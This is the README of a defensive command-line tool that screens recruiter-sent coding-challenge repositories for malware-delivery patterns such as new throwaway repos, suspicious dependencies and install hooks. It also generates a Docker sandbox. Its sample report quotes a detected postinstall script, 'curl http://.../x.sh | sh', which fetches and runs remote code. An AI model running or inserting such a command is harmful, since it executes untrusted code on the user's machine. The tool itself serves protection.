interview-guard

A pre-flight safety check for take-home coding assessments — run it before you clone, install, or run anything a recruiter sent you.

Why this exists

There's a real, ongoing scam where fake recruiters send job seekers a "coding challenge" repo that's actually malware. It's been tracked by Microsoft, Socket, and ReversingLabs since 2023 under names like "Contagious Interview." The pitch always looks legitimate — a real-sounding company, a normal-looking GitHub repo, a completely standard-looking package.json. The payload is usually hidden in a dependency, or in a postinstall script that runs the moment you type npm install, often before you've even opened the code.

interview-guard won't catch everything, but it catches the patterns this specific scam relies on: brand-new throwaway repos, dependencies that don't exist or were published days ago, and install scripts that run automatically. Think of it as a second opinion before you trust a repo with your machine.

Quick start

No install needed — just run it against the URL a recruiter sent you:

npx interview-guard-cli https://github.com/some-company/their-challenge-repo

(Or install it once: npm install -g interview-guard-cli, then use the shorter interview-guard <url>.)

Requires Node.js 18 or later.

What it checks

Running interview-guard <github-url> does two things, entirely by reading public GitHub/npm data — nothing gets cloned or executed:

Repo legitimacy — is this a real, established project or something spun up yesterday to send to you?

• How old the repo is
• Star/fork count
• How much commit history it actually has
• Whether the owner is a real organization or a fresh individual account

Dependency safety — is anything in package.json designed to hurt you?

• Whether the repo's own package.json runs a script on install (preinstall/postinstall) — the #1 way this scam actually executes code on your machine
• Whether each dependency actually exists on npm (a missing one can mean dependency confusion or a since-removed malicious package)
• How recently each dependency was first published, and how many people are actually downloading it
• Whether a dependency has known vulnerabilities/advisories, via OSV

You get a verdict — GREEN, YELLOW, or RED — with the specific reasons behind it, not just a score.

$ interview-guard https://github.com/some-company/their-challenge-repo

interview-guard report: some-company/their-challenge-repo

VERDICT: RED - do not clone, install, or run this locally.
2 serious problems found:
  - Repo is only 0 day(s) old (created Tue Jul 28 2026).
  - The repo's own package.json runs a script on install (postinstall: "curl http://.../x.sh | sh").

If you need to inspect this repo, use an isolated sandbox instead of running it directly:
  interview-guard sandbox https://github.com/some-company/their-challenge-repo

------------------------------------------------------------
Details
------------------------------------------------------------
...

If you need to actually run it

Sometimes you legitimately need to run the assessment — that's the whole point of a take-home. interview-guard sandbox <url> generates a throwaway Docker setup that clones and runs the repo inside a container, never touching your actual machine:

interview-guard sandbox https://github.com/some-company/their-challenge-repo
cd sandbox-some-company-their-challenge-repo
./run.sh

• The repo is cloned inside the container image — your SSH keys, credentials, browser profiles, and dotfiles are never mounted in or reachable.
• You land in a shell as a non-root user, with the repo already installed. You choose what to run from there — nothing auto-executes.
• The container is disposable (--rm) and resource-limited (memory/process caps), so even a malicious payload has nowhere to go and nothing to persist.

Requires Docker Desktop to actually build/run it (generating the files doesn't).

What this doesn't do

• It's heuristics, not a guarantee. A GREEN verdict means no red flags were found — not that the repo is definitely safe. A brand-new but completely legitimate open-source project can trigger YELLOW; use judgment alongside the tool.
• It only understands npm/Node.js projects for now (Python/requirements.txt support is a likely next step).
• The sandbox is a strong isolation boundary, not a perfect one — see the project discussion for context on Docker vs. VM-level isolation if you want to go further.

Development

npm test

Runs the test suite (node:test, no extra dependencies) — checks logic, report formatting, the GitHub/npm/OSV API clients (mocked), sandbox generation, and the full CLI pipeline.

Contributing

Issues and PRs welcome: https://github.com/SergeyVinogorov/interview-guard

Changelog

See CHANGELOG.md.

License

MIT — see LICENSE.

Acknowledgments

Built with AI pair-programming assistance (Claude).